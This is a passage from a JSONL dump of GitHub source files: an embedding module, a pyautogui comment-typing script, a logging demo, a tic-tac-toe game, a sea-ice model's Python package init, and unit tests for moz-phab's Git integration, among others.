copy(self.quad_eig_sys_original)\n for i in range(len(self.control_point_indices)):\n self.quad_eig_sys = self.embedder.sph_cp_quad_term_eig_sys(self.kernel_sys, self.quad_eig_sys, self.control_point_indices[i], self.const_mu)\n if len(self.control_point_indices) == 0:\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, np.array([0]), np.ones((1,2)), self.kernel_sys, self.params, 1e-20)\n self.pca_projection = self.kernel_sys[0].dot(pca_dirs)\n else:\n pca_dirs = self.embedder.soft_cp_mode_directions(self.quad_eig_sys, self.control_point_indices, self.Y, self.kernel_sys, self.params, self.const_mu)\n self.pca_projection = self.kernel_sys[0].dot(pca_dirs)\n\n \n \n\n\n\nclass MLE(Embedding):\n def __init__(self, data, points, parent):\n self.data = data\n self.control_points = []\n self.control_point_indices = []\n self.old_control_point_indices = []\n self.parent = parent\n self.X = None\n self.Y = None\n self.projection_matrix = None\n \n self.ml = []\n self.cl = []\n self.has_ml_cl_constraints = False\n\n pca = decomposition.PCA(n_components=2)\n pca.fit(self.data)\n self.M_base = pca.components_ # init M with PCA[1,2]\n self.M = self.M_base\n self.Psi_base = np.cov(self.data.T)\n self.sigma = 0.1*abs(np.min(self.Psi_base))\n self.Psi = self.Psi_base\n self.update_M_matrix()\n self.update_Psi_matrix()\n self.name = \"MLE\"\n self.is_dynamic = True \n self.probabilities = None\n\n self.update_control_points(points)\n\n def update_Psi_matrix(self):\n Y = self.data[self.control_point_indices].T\n W = np.array(self.control_points).T\n # print \"M :\", self.M_base.shape\n # print \"X_m:\", Y.shape\n # print \"Psi:\", self.Psi_base.shape\n # print \"Y_m:\", W.shape\n if len(self.control_point_indices) == 0:\n self.Psi = self.Psi_base\n else:\n self.Psi = self.Psi_base - self.Psi_base.dot(Y).dot(np.linalg.pinv(Y.T.dot(self.Psi_base).dot(Y) + self.sigma*np.eye(len(Y[0])))).dot(Y.T).dot(self.Psi_base)\n\n\n def update_M_matrix(self):\n Y = self.data[self.control_point_indices].T\n W = np.array(self.control_points).T\n if len(self.control_point_indices) == 0:\n self.M = self.M_base\n else:\n # print \"M :\", self.M_base.shape\n # print \"X_m:\", Y.shape\n # print \"Psi:\", self.Psi.shape\n # print \"Y_m:\", W.shape\n #self.M = self.M_base + (W - self.M_base.dot(Y)).dot(np.linalg.pinv(Y.T.dot(self.Psi).dot(Y) + self.sigma*np.eye(len(Y[0])))).dot(Y.T).dot(self.Psi)\n self.M = self.M_base + (W - self.M_base.dot(Y)).dot(np.linalg.pinv(Y.T.dot(self.Psi_base).dot(Y) + self.sigma*np.eye(len(Y[0])))).dot(Y.T).dot(self.Psi_base)\n\n\n def get_embedding(self, X=[]):\n if X == []:\n X=self.data.T\n self.projection_matrix = self.M\n return self.M.dot(X)\n \n\n def update_control_points(self, points):\n super(MLE, self).update_control_points(points)\n if set(self.control_point_indices) == self.old_control_point_indices:\n self.update_M_matrix()\n else:\n self.update_M_matrix()\n self.update_Psi_matrix()\n self.old_control_point_indices = set(self.control_point_indices)\n if self.has_ml_cl_constraints:\n self.augment_control_points(self.get_embedding().T)\n self.update_M_matrix()\n self.update_Psi_matrix()\n","repo_name":"invis-sherpa/invis-sherpa.github.io","sub_path":"InVis/Embedder.py","file_name":"Embedder.py","file_ext":"py","file_size_in_byte":22066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"5110680639","text":"import pyautogui\nimport time\n\ncomments = [\"Python bot autocomment\", \"Bot is working\", \"Bot is wrote this comment\"]\ntime.sleep(2)\nfor i in range(10):\n pyautogui.typewrite(comments[i%3])\n pyautogui.press(\"enter\")\n time.sleep(2)\n\n","repo_name":"Nikunj-dev/Automate-Facebook-Comments","sub_path":"automate_comments.py","file_name":"automate_comments.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"30498362550","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Aug 8 07:55:34 2023\r\n\r\n@author: steph\r\n\"\"\"\r\n\r\nimport os\r\nimport logging\r\n\r\n\r\n\r\n\r\nlogging_file = 'D:/wrx/py_crash.log'\r\n\r\nprint(\"Logging to\", logging_file)\r\n\r\nlogger = logging.getLogger(__name__)\r\nif not logger.handlers:\r\n logger.setLevel(logging.DEBUG)\r\n \r\n # create a file handler\r\n handler = logging.FileHandler(logging_file)\r\n #handler.setLevel(logging.DEBUG)\r\n \r\n # create a logging format\r\n formatter = logging.Formatter('%(asctime)s -%(name)s - %(levelname)s - %(message)s')\r\n handler.setFormatter(formatter)\r\n \r\n # add the handlers to the logger\r\n logger.addHandler(handler)\r\n\r\n\r\n\r\ndef eineProzedur():\r\n ret = 0\r\n logger.info(\"eineProzedur: eine Prozedur\")\r\n \r\n return ret\r\n\r\nlogger.debug(\"MAIN: Start of the program\")\r\nlogger.info(\"MAIN: Doing something\")\r\nlogger.warning(\"MAIN: Dying now\")\r\nlogger.error(\"MAIN: Error !!\")\r\nlogger.critical(\"Etwas wirklich schlimmes ist passiert!!\")\r\n\r\nx = eineProzedur()","repo_name":"stephan-meier/nextgen_internal","sub_path":"logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"28127983064","text":"import sys\n# input = sys.stdin.readline\nsys.stdin = open('input_2477.txt')\n\n'''\ns1 : 84ms / s2 : 80ms\n'''\n\n# K = int(input())\n# dir = [0] * 5 # 0, 동:1, 서:2, 남:3, 북:4 길이\n# d = [0] * 6 # 입력받는 방향\n# l = [0] * 6 # 입력받는 길이\n#\n# for i in range(6):\n# d[i], l[i] = map(int, input().split())\n#\n# # 방향을 돌면서 dir에 최종적으로 쓸 바깥 길이와, 안쪽 박스 길이 구하기\n# for i in range(6):\n# if d.count(d[i]) == 1: # 방향이 한번밖에 안 나온 경우 바깥 길이\n# dir[d[i]] = l[i]\n# elif d[i] == d[(i + 2) % 6]: # 중간 기준으로 앞뒤로 같은 방향이 나온 경우 안쪽 박스 길이\n# dir[d[(i + 1) % 6]] = l[(i + 1) % 6]\n#\n# large_w, large_h = max(dir[1], dir[2]), max(dir[3], dir[4]) # 둘중\n# small_w, small_h = min(dir[1], dir[2]), min(dir[3], dir[4])\n#\n# print((large_w * large_h - small_w * small_h) * K)\n\n\nK = int(input())\n\nd = [0] * 6 # 입력받는 방향\nl = [0] * 6 # 입력받는 길이\nlarge_box = 1\nsmall_box = 1\n\nfor i in range(6):\n d[i], l[i] = map(int, input().split())\n\n# 방향을 돌면서 dir에 최종적으로 쓸 바깥 길이와, 안쪽 박스 길이 구하기\nfor i in range(6):\n if d.count(d[i]) == 1: # 방향이 한번밖에 안 나온 경우 바깥 길이\n large_box *= l[i]\n elif d[i] == d[(i + 2) % 6]: # 중간 기준으로 앞뒤로 같은 방향이 나온 경우 안쪽 박스 길이\n small_box *= l[(i + 1) % 6]\n\nprint((large_box - small_box) * K)","repo_name":"sungyeon-0975/algo_study","sub_path":"210902/2477_kisol.py","file_name":"2477_kisol.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"12701139629","text":"import unittest\n\"\"\" Unit tests for technical indicators...\n\"\"\"\n\nclass aroon_test(unittest.TestCase):\n \"\"\"structure the tests with the function name and _test\"\"\"\n def test(self):\n self.assertEqual(aroon(1), 1)\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"ramiejohn/pyfi","sub_path":"tests/indicator_test.py","file_name":"indicator_test.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"74184325537","text":"def create_matrix() -> list:\n \"\"\"\n Creates the matrix of the game\n \"\"\"\n game = [\n [1, 2, 3],\n [4, 5, 6],\n [7, 8, 9]\n ]\n\n return game\n\n\ndef print_matrix(matrix: list):\n print('---------')\n for i in range(3):\n print('| ', end='')\n for j in range(3):\n if matrix[i][j] == 'X' or matrix[i][j] == 'O':\n print(matrix[i][j] + ' ', end='')\n\n else:\n print(' ', end='')\n\n print('|')\n\n print('---------')\n\n\ndef write_in_matrix(matrix: list, column: int, row: int, player: str):\n matrix[row - 1][column - 1] = player\n\n\ndef check_game_finished(matrix: list) -> bool:\n for i in range(3):\n if matrix[i][0] == matrix[i][1] == matrix[i][2]:\n print('Player', matrix[i][0], 'won')\n return True\n\n if (matrix[0][1] == matrix[1][1] == matrix[2][1] or\n matrix[0][0] == matrix[1][1] == matrix[2][2] or\n matrix[0][2] == matrix[1][1] == matrix[2][0]):\n\n print('Player', matrix[0][1], 'won')\n\n return True\n\n if matrix[0][0] == matrix[1][0] == matrix[2][0]:\n print('Player', matrix[0][0], 'won')\n\n return True\n\n if matrix[0][2] == matrix[1][2] == matrix[2][2]:\n print('Player', matrix[0][0], 'won')\n\n return True\n\n filled = 0\n\n for i in range(3):\n for j in range(3):\n if matrix[i][j] == 'O' or matrix[i][j] == 'X':\n filled += 1\n\n if filled == 9:\n print('TIE')\n return True\n\n return False\n\n\ndef valid_input(matrix: list, column: str, row: str) -> bool:\n try:\n column = int(column)\n row = int(row)\n matrix[row-1][column-1]\n\n return True\n\n except ValueError:\n return False\n\n except IndexError:\n return False\n\n except TypeError:\n return False\n\n\ndef possible_to_play(matrix: list, column: int, row: int):\n if matrix[row-1][column-1] == 'X' or matrix[row-1][column-1] == 'O':\n return False\n\n return True\n\n\nif __name__ == '__main__':\n GAME = create_matrix()\n FINISHED = check_game_finished(GAME)\n\n PLAYER_O = [True, 'O']\n PLAYER_X = [False, 'X']\n\n while not FINISHED:\n print_matrix(GAME)\n COL, RO = map(int, input('Your turn: ').split())\n\n while not possible_to_play(GAME, COL, RO):\n print('INVALID\\nTRY AGAIN')\n COL, RO = map(int, input('Your turn: ').split())\n\n COL = int(COL)\n RO = int(RO)\n if PLAYER_O[0]:\n write_in_matrix(GAME, COL, RO, PLAYER_O[1])\n PLAYER_O[0] = False\n PLAYER_X[0] = True\n\n else:\n write_in_matrix(GAME, COL, RO, PLAYER_X[1])\n PLAYER_O[0] = True\n PLAYER_X[0] = False\n\n FINISHED = check_game_finished(GAME)\n\n print_matrix(GAME)\n","repo_name":"bihellzin/tic-tac-toe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"43294192210","text":"import time\n\nfrom urllib.parse import urljoin\n\nfrom django.test import LiveServerTestCase\nfrom django.urls import reverse\nfrom django.utils.translation import ugettext_lazy as _\nfrom selenium import webdriver\n\n\nclass TestUITestCase(LiveServerTestCase):\n\n def setUp(self):\n self.selenium = webdriver.Chrome()\n self.base_url = self.live_server_url\n super().setUp()\n\n def tearDown(self):\n self.selenium.quit()\n super().tearDown()\n\n def test_index_page(self):\n ui_url = urljoin(self.base_url, reverse('ui'))\n selenium = self.selenium\n selenium.get(ui_url)\n self.assertEqual(selenium.title, 'Simple Notification Service')\n page_header = selenium.find_element_by_id('main-header').text\n self.assertEqual(page_header, _('Personal Area'))\n","repo_name":"GininDenis/simple-notification-service","sub_path":"src/apps/api/tests/test_ui.py","file_name":"test_ui.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"8194967304","text":"'''Siku: Sea Ice Discrete Element Method Model\n\n The main python module that has to be imported from any\n scenario file\n\n'''\n\nimport datetime\n\ntry:\n from . import bootstrap_config\n from . import earth\n from . import polygon\nexcept:\n import bootstrap_config\n import earth\n import polygon\n\n# ---------------------------------------------------------------------\n# return status masks\n# ---------------------------------------------------------------------\n\nMASK = {\n 'NONE' : 0,\n 'SAVE' : 1,\n 'WINDS' : 2,\n 'CURRENTS' : 4,\n\n 'EXIT' : 128\n }\n\n# ---------------------------------------------------------------------\n# misc enums\n# ---------------------------------------------------------------------\n\nCONTACT_METHODS = {\n 'n2' : 0,\n 'sweep' : 1\n }\n\nCONTACT_DET_FREQ_MET = {\n 'always' : 0,\n 'ticks' : 1, 'tick' : 1,\n 'sec' : 2, 'seconds' : 2,\n 'speed' : 3, 'auto' : 3\n }\n\nCONTACT_FORCE_MODEL = {\n 'default' : 0, 'test_springs' : 0,\n 'Hopkins_Frankenstein' : 1,\n 'distributed_spring' : 2\n }\n\nWIND_SOURCES = {\n 'NONE' : 0,\n 'TEST' : 1,\n 'NMC' : 2\n }\n\n# ---------------------------------------------------------------------\n# main function: by default it is None\n# ---------------------------------------------------------------------\n\nmain = None\n\n# ---------------------------------------------------------------------\n# info dictionary\n# ---------------------------------------------------------------------\n\ninfo = {\n 'name' : bootstrap_config.NAME,\n 'brief': bootstrap_config.BRIEF,\n 'version': bootstrap_config.VERSION,\n 'date': bootstrap_config.DATE,\n 'version numbers': [ int(x) for x in \n bootstrap_config.VERSION.split( '.' ) ],\n 'main program name': bootstrap_config.MAINPROGRAM,\n 'email': bootstrap_config.EMAIL,\n 'author': bootstrap_config.AUTHOR,\n 'copyright': bootstrap_config.COPYRIGHT }\n\n# ---------------------------------------------------------------------\n# miscellanous parameters\n# ---------------------------------------------------------------------\n\nclass Settings:\n pass\n\nsettings = Settings()\n\n# contact detection default method\nsettings.contact_method = CONTACT_METHODS['sweep']\nsettings.contact_freq_met = CONTACT_DET_FREQ_MET['always']\nsettings.contact_value = 1\n\nsettings.force_model = CONTACT_FORCE_MODEL['default']\n\nsettings.wind_source_type = WIND_SOURCES['TEST']\nsettings.wind_source_names = []\n\nsettings.loadfile = ''\n\nsettings.borders = 'borders.ll'\nsettings.border_mark = 0\n\n##settings.phys_consts = [ 1, 1, 1, 1, 1,\\\n## 1, 1, 1, 1, 1 ] # yet senseless\n### YET IS FOR TEST\nsettings.phys_consts = { 'rigidity' : 1.0, #'bouncing' on impact\n 'viscosity' : 1.0, #'sticking' on impact\n 'rotatability' : 1.0, #part of Force applied to rotation\n 'tangency' : 1.0, #part of Force applied to sliding\n \n 'elasticity' : 1.0, #hardness of spring in joints\n 'bendability' : 1.0, #prt f sprng frc ap to rotation\n 'solidity' : 1.0, #part of extension ap to damage\n 'tensility' : 1.0, #extension-without-damage cap\n\n 'windage' : 1.0, #part of wind applied to force\n 'anchority' : 1.0, #generic viscosity of water\n 'fastency' : 0.8, #floe overlap with landfast floe\n #to become landfast itself\n\n 'sigma' : 1.0, # -//- rigidity\n 'etha' : 1.0 # -//- viscosity\n }\n\nsettings.manual_inds = []\nsettings.manual_forces = []\n\nsettings.initial_freeze = 1\nsettings.links = []\n\nplanet = earth.Earth()\n\nP = polygon.Polygon() # need to be done only once for all polygons,\n # elements will be initialized using polygons\n\nelements = []\n\nclass Local:\n pass\n\nlocal = Local()\n\n# ---------------------------------------------------------------------\n# ModelTime class for setting model time and such\n# ---------------------------------------------------------------------\n\nclass ModelTime:\n pass\n\ntime = ModelTime()\ntime.update_index = 0\n\n# ---------------------------------------------------------------------\n# material list\n# ---------------------------------------------------------------------\n\nmaterials = [] # must be filled in the actual list\n\n# ---------------------------------------------------------------------\n# Callback functions\n# ---------------------------------------------------------------------\n\nclass Callback:\n pass\n\ncallback = Callback()\n\ndef presave( t, n, ns ):\n fname = 'siku-' + t.strftime(\"%Y-%m-%d-%H:%M:%S\") + '.h5'\n return fname\n\ndef pretimestep( t, n, ns):\n status = MASK['NONE']\n diagnostics.step_count = n\n print(\"Step \" + str( diagnostics.step_count ) + \" has started\")\n\n return status\n\ndef updatewind( siku, t ):\n print(\"Your advertisement could be here\")\n pass\n\ndef aftertimestep( t, n, ns ):\n print(\"Step \" + str( diagnostics.step_count ) + \" has ended\")\n return 0\n\ndef initializations( siku, t ):\n print('Hello earth!')\n\ndef conclusions( siku, t ):\n print('Good buy!')\n\ncallback.presave = presave\ncallback.pretimestep = pretimestep\ncallback.updatewind = updatewind\ncallback.aftertimestep = aftertimestep\ncallback.conclusions = conclusions\ncallback.initializations = initializations\n\n# ---------------------------------------------------------------------\n# Diagnostics\n# ---------------------------------------------------------------------\n\nclass Diagnostics:\n pass\n\ndiagnostics = Diagnostics()\ndiagnostics.step_count = 0\ndiagnostics.monitor_period = 1\n\n# registered meshes: to use in monitor functions\ndiagnostics.meshes = []\n\n# wind monitoring is a list of tuples ( func_name, grid ). This\n# functions will be called with the grids values\ndiagnostics.wind = []\n\n# ---------------------------------------------------------------------\n# Surface wind grid (NMC)\n# ---------------------------------------------------------------------\n\nwind = None\n\n\n","repo_name":"Atoku/siku","sub_path":"python/siku/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6243,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"34"} +{"seq_id":"10610681586","text":"import imp\nimport mock\nimport os\nimport pytest\n\nfrom conftest import create_temp_fn\n\nmozphab = imp.load_source(\n \"mozphab\", os.path.join(os.path.dirname(__file__), os.path.pardir, \"moz-phab\")\n)\nmozphab.SHOW_SPINNER = False\n\n\n@mock.patch(\"mozphab.Git.git_out\")\ndef test_cherry(m_git_git_out, git):\n m_git_git_out.side_effect = (mozphab.CommandError, [\"output\"])\n assert git._cherry([\"cherry\"], [\"one\", \"two\"]) == [\"output\"]\n m_git_git_out.assert_has_calls(\n [mock.call([\"cherry\", \"one\"]), mock.call([\"cherry\", \"two\"])]\n )\n\n\n@mock.patch(\"mozphab.Git.git_out\")\n@mock.patch(\"mozphab.Git._cherry\")\n@mock.patch(\"mozphab.config\")\ndef test_first_unpublished(m_config, m_git_cherry, m_git_git_out, git):\n class Args:\n def __init__(self, upstream=None, start_rev=\"(auto)\"):\n self.upstream = upstream\n self.start_rev = start_rev\n\n m_config.git_remote = []\n m_git_git_out.side_effect = ([\"a\", \"b\"], [\"c\"], [\"d\"])\n m_git_cherry.side_effect = ([\"- sha1\", \"+ sha2\"], [], None)\n git.args = Args()\n first = git._get_first_unpublished_node\n assert \"sha2\" == first()\n m_git_cherry.assert_called_with([\"cherry\", \"--abbrev=12\"], [\"a\", \"b\"])\n assert first() is None\n with pytest.raises(mozphab.Error):\n first()\n m_git_cherry.assert_called_with([\"cherry\", \"--abbrev=12\", \"upstream\"], [])\n\n m_git_cherry.side_effect = ([],)\n git.args = Args(upstream=[\"upstream\"])\n first()\n m_git_cherry.assert_called_with([\"cherry\", \"--abbrev=12\", \"upstream\"], [])\n\n m_git_cherry.side_effect = ([],)\n m_config.git_remote = [\"someremote\"]\n git.args = Args()\n first()\n m_git_cherry.assert_called_with([\"cherry\", \"--abbrev=12\"], [\"someremote\"])\n m_config.git_remote = []\n\n m_git_cherry.side_effect = ([\"+ %s\" % i for i in range(101)],)\n m_git_git_out.side_effect = ([\"origin\"],)\n with pytest.raises(mozphab.Error):\n first()\n\n\n@mock.patch(\"mozphab.Git.git_out\")\ndef test_branches_to_rebase(m_git_git_out, git):\n git_find = git._find_branches_to_rebase\n\n # No branch returned - not a real case - we don't work without branches\n m_git_git_out.return_value = []\n assert dict() == git_find([{\"orig-node\": \"_aaa\", \"node\": \"aaa\"}])\n\n # No amend, no branches to rebase\n m_git_git_out.return_value = [\"branch\"]\n assert dict() == git_find([{\"orig-node\": \"aaa\", \"node\": \"aaa\"}])\n\n # One commit, one branch\n m_git_git_out.return_value = [\"branch\"]\n assert dict(branch=[\"aaa\", \"_aaa\"]) == git_find(\n [{\"orig-node\": \"_aaa\", \"node\": \"aaa\"}]\n )\n\n # Two commits one branch\n m_git_git_out.return_value = [\"branch\"]\n assert dict(branch=[\"bbb\", \"_bbb\"]) == git_find(\n [{\"orig-node\": \"_aaa\", \"node\": \"aaa\"}, {\"orig-node\": \"_bbb\", \"node\": \"bbb\"}]\n )\n\n # Two branches one commit\n # ... (branch1)\n # | ... (branch2)\n # |/\n # * aaa\n # More realistic output from the git command\n m_git_git_out.return_value = [\"* branch1\", \" branch2\"]\n assert dict(branch1=[\"aaa\", \"_aaa\"], branch2=[\"aaa\", \"_aaa\"]) == git_find(\n [{\"orig-node\": \"_aaa\", \"node\": \"aaa\"}]\n )\n\n # ... (branch1)\n # | * bbb (branch2)\n # |/\n # * aaa\n m_git_git_out.side_effect = ([\"branch1\", \"branch2\"], [\"branch2\"])\n assert dict(branch1=[\"aaa\", \"_aaa\"], branch2=[\"bbb\", \"_bbb\"]) == git_find(\n [{\"orig-node\": \"_aaa\", \"node\": \"aaa\"}, {\"orig-node\": \"_bbb\", \"node\": \"bbb\"}]\n )\n\n # * ... (master)\n # | * ... (feature1)\n # | | * ... (feature2)\n # | |/\n # |/|\n # | | * ddd (feature1_1)\n # | |/\n # | * ccc\n # |/\n # * bbb\n # * aaa\n\n m_git_git_out.side_effect = (\n [\"master\", \"feature1\", \"feature1_1\", \"feature2\"], # aaa\n [\"master\", \"feature1\", \"feature1_1\", \"feature2\"], # bbb\n [\"feature1\", \"feature1_1\"], # ccc\n [\"feature1_1\"], # ddd\n )\n assert dict(\n master=[\"bbb\", \"_bbb\"],\n feature1=[\"ccc\", \"_ccc\"],\n feature2=[\"bbb\", \"_bbb\"],\n feature1_1=[\"ddd\", \"_ddd\"],\n ) == git_find(\n [\n {\"orig-node\": \"_aaa\", \"node\": \"aaa\"},\n {\"orig-node\": \"_bbb\", \"node\": \"bbb\"},\n {\"orig-node\": \"_ccc\", \"node\": \"ccc\"},\n {\"orig-node\": \"_ddd\", \"node\": \"ddd\"},\n ]\n )\n\n\ndef test_get_direct_children(git):\n get_children = git._get_direct_children\n rev_list = [\"aaa bbb ccc\", \"bbb\", \"ccc ddd\"]\n assert [\"bbb\", \"ccc\"] == get_children(\"aaa\", rev_list)\n assert [] == get_children(\"bbb\", rev_list)\n assert [\"ddd\"] == get_children(\"ccc\", rev_list)\n assert [] == get_children(\"xxx\", rev_list)\n\n\ndef test_is_child(git):\n is_child = git._is_child\n # * ccc\n # * bbb\n # * aaa\n nodes = [\"ccc\", \"bbb ccc\", \"aaa bbb\"]\n assert is_child(\"aaa\", \"bbb\", nodes)\n assert is_child(\"aaa\", \"ccc\", nodes)\n assert is_child(\"bbb\", \"ccc\", nodes)\n assert not is_child(\"bbb\", \"aaa\", nodes)\n assert not is_child(\"aaa\", \"aaa\", nodes)\n assert not is_child(\"bbb\", \"bbb\", nodes)\n assert not is_child(\"ccc\", \"ccc\", nodes)\n\n # * ddd\n # | * ccc\n # | | * eee\n # | |/\n # | * bbb\n # |/\n # * aaa\n nodes = [\"ddd\", \"ccc\", \"eee\", \"bbb ccc eee\", \"aaa bbb ddd\"]\n assert is_child(\"aaa\", \"bbb\", nodes)\n assert is_child(\"aaa\", \"ccc\", nodes)\n assert is_child(\"aaa\", \"ddd\", nodes)\n assert is_child(\"aaa\", \"eee\", nodes)\n assert is_child(\"bbb\", \"ccc\", nodes)\n assert is_child(\"bbb\", \"eee\", nodes)\n assert not is_child(\"bbb\", \"ddd\", nodes)\n assert not is_child(\"ccc\", \"ddd\", nodes)\n\n\n@mock.patch(\"mozphab.Git.git_out\")\n@mock.patch(\"mozphab.config\")\ndef test_range(m_config, m_git_git_out, git):\n class Args:\n def __init__(self, start=\"aaa\", end=\".\"):\n self.start_rev = start\n self.end_rev = end\n self.safe_mode = False\n\n m_config.safe_mode = False\n m_git_git_out.return_value = [\"user.email=email\"]\n git.set_args(Args())\n assert git.revset == (\"aaa\", \".\")\n\n\n@mock.patch(\"mozphab.config\")\n@mock.patch(\"mozphab.parse_config\")\n@mock.patch(\"mozphab.Git._get_first_unpublished_node\")\n@mock.patch(\"mozphab.Git.git_out\")\ndef test_set_args(m_git_git_out, m_git_get_first, m_parse_config, m_config, git):\n class Args:\n def __init__(self, start=\"(auto)\", end=\".\", safe_mode=False):\n self.start_rev = start\n self.end_rev = end\n self.safe_mode = safe_mode\n\n with pytest.raises(mozphab.Error):\n git.set_args(Args())\n\n git._git = []\n m_config.safe_mode = False\n m_parse_config.return_value = {\"user.email\": \"email\"}\n m_git_get_first.return_value = \"aaa\"\n git.set_args(Args())\n assert [] == git._git\n m_git_get_first.assert_called_once()\n assert git.revset == (\"aaa^\", \".\")\n\n m_parse_config.return_value = {\n \"user.email\": \"email\",\n \"user.name\": \"name\",\n \"cinnabar.helper\": \"string\",\n }\n git.set_args(Args())\n assert [] == git._git\n assert [\"cinnabar\"] == git.extensions\n\n safe_options = (\n [\"-c\", \"user.email=email\"]\n + [\"-c\", \"user.name=name\"]\n + [\"-c\", \"cinnabar.helper=string\"]\n )\n git.set_args(Args(safe_mode=True))\n assert safe_options == git._git\n\n git._git = []\n m_config.safe_mode = True\n git.set_args(Args())\n assert safe_options == git._git\n\n m_config.safe_mode = False\n m_git_get_first.reset_mock()\n git.set_args(Args(start=\"bbb\", end=\"ccc\"))\n m_git_get_first.assert_not_called()\n assert git.revset == (\"bbb\", \"ccc\")\n\n git.set_args(Args(safe_mode=True))\n assert \"\" == git._env[\"HOME\"]\n assert \"\" == git._env[\"XDG_CONFIG_HOME\"]\n\n m_config.safe_mode = True\n git.set_args(Args())\n assert \"\" == git._env[\"HOME\"]\n assert \"\" == git._env[\"XDG_CONFIG_HOME\"]\n\n\n@mock.patch(\"mozphab.Git.git_out\")\ndef test_worktree_clean(m_git_out, git):\n m_git_out.return_value = \"\"\n assert git.is_worktree_clean()\n\n m_git_out.return_value = [\"xxx\"]\n assert not git.is_worktree_clean()\n\n m_git_out.return_value = [\"?? one\", \"?? two\"]\n assert git.is_worktree_clean()\n\n m_git_out.return_value = [\"?? one\", \"?? two\", \" M xxx\"]\n assert not git.is_worktree_clean()\n\n\n@mock.patch(\"mozphab.Git.git\")\ndef test_commit(m_git, git):\n git.commit(\"some body\")\n assert m_git.called_once()\n\n m_git.reset_mock()\n git.commit(\"some body\", \"user\")\n assert m_git.called_once()\n\n\n@mock.patch(\"mozphab.Git.git_out\")\n@mock.patch(\"mozphab.Git.is_node\")\ndef test_check_node(m_git_is_node, m_git_out, git):\n node = \"aabbcc\"\n assert node == git.check_node(node)\n\n m_git_is_node.return_value = False\n with pytest.raises(mozphab.NotFoundError) as e:\n git.check_node(node)\n assert \"Cinnabar extension not enabled\" in str(e.value)\n\n git.extensions = [\"cinnabar\"]\n m_git_out.return_value = \"0\" * 40\n with pytest.raises(mozphab.NotFoundError) as e:\n git.check_node(node)\n assert \"Mercurial SHA1 not found\" in str(e.value)\n\n m_git_out.return_value = \"git_aabbcc\"\n with pytest.raises(mozphab.NotFoundError) as e:\n git.check_node(node)\n assert \"Mercurial SHA1 detected\" in str(e.value)\n\n m_git_is_node.side_effect = (False, True)\n assert \"git_aabbcc\" == git.check_node(node)\n\n\n@mock.patch(\"mozphab.Git.git_out\")\n@mock.patch(\"mozphab.Git.checkout\")\n@mock.patch(\"mozphab.Git.git\")\n@mock.patch(\"mozphab.prompt\")\n@mock.patch(\"mozphab.logger\")\ndef test_before_patch(m_logger, m_prompt, m_git, m_checkout, m_git_out, git):\n class Args:\n def __init__(\n self,\n rev_id=\"D123\",\n nocommit=False,\n raw=False,\n applyto=\"base\",\n no_branch=False,\n yes=False,\n ):\n self.rev_id = rev_id\n self.nocommit = nocommit\n self.raw = raw\n self.applyto = applyto\n self.no_branch = no_branch\n self.yes = yes\n\n git.args = Args()\n m_git_out.side_effect = ([\" branch\"],)\n git.before_patch(\"sha1\", \"branch\")\n m_checkout.assert_called_with(\"sha1\")\n m_git.assert_called_with([\"checkout\", \"-q\", \"-b\", \"branch_1\"])\n\n m_git.reset_mock()\n m_git_out.reset_mock()\n m_checkout.reset_mock()\n\n m_checkout.reset_mock()\n m_git_out.side_effect = (\"the branch name is not here\",)\n git.args = Args(applyto=\"here\")\n git.before_patch(None, \"branchname\")\n m_checkout.assert_not_called()\n\n m_git.reset_mock()\n m_checkout.reset_mock()\n git.args = Args(applyto=\"abcdef\", nocommit=True)\n git.before_patch(\"abcdef\", None)\n m_checkout.assert_called_once_with(\"abcdef\")\n m_git.assert_not_called()\n\n m_git.reset_mock()\n m_checkout.reset_mock()\n m_logger.reset_mock()\n git.args = Args(no_branch=True, yes=True)\n git.before_patch(\"abcdef\", \"name\")\n m_checkout.assert_called_once()\n m_git.assert_not_called()\n assert \"git checkout -b\" in m_logger.warning.call_args_list[1][0][0]\n\n m_git.reset_mock()\n m_checkout.reset_mock()\n m_logger.reset_mock()\n git.args = Args(no_branch=True)\n git.before_patch(\"abcdef\", \"name\")\n m_checkout.assert_called_once()\n m_git.assert_not_called()\n m_prompt.assert_called_once()\n assert \"git checkout -b\" in m_logger.warning.call_args_list[0][0][0]\n\n m_prompt.return_value = \"No\"\n with pytest.raises(SystemExit):\n git.before_patch(\"abcdef\", \"name\")\n\n\n@mock.patch(\"mozphab.temporary_file\")\n@mock.patch(\"mozphab.Git.git\")\n@mock.patch(\"mozphab.Git.commit\")\ndef test_apply_patch(m_commit, m_git, m_temp_fn, git):\n m_temp_fn.return_value = create_temp_fn(\"filename\")\n git.apply_patch(\"diff\", \"commit message\", \"user\", 1)\n m_git.assert_called_once_with([\"apply\", \"--index\", \"filename\"])\n m_commit.assert_called_with(\"commit message\", \"user\", 1)\n m_temp_fn.assert_called_once_with(\"diff\")\n\n\n@mock.patch(\"mozphab.Git.git_out\")\ndef test_is_node(m_git_out, git):\n m_git_out.return_value = \"commit\"\n assert git.is_node(\"aaa\")\n\n m_git_out.return_value = \"something else\"\n assert not git.is_node(\"aaa\")\n\n m_git_out.side_effect = mozphab.CommandError\n assert not 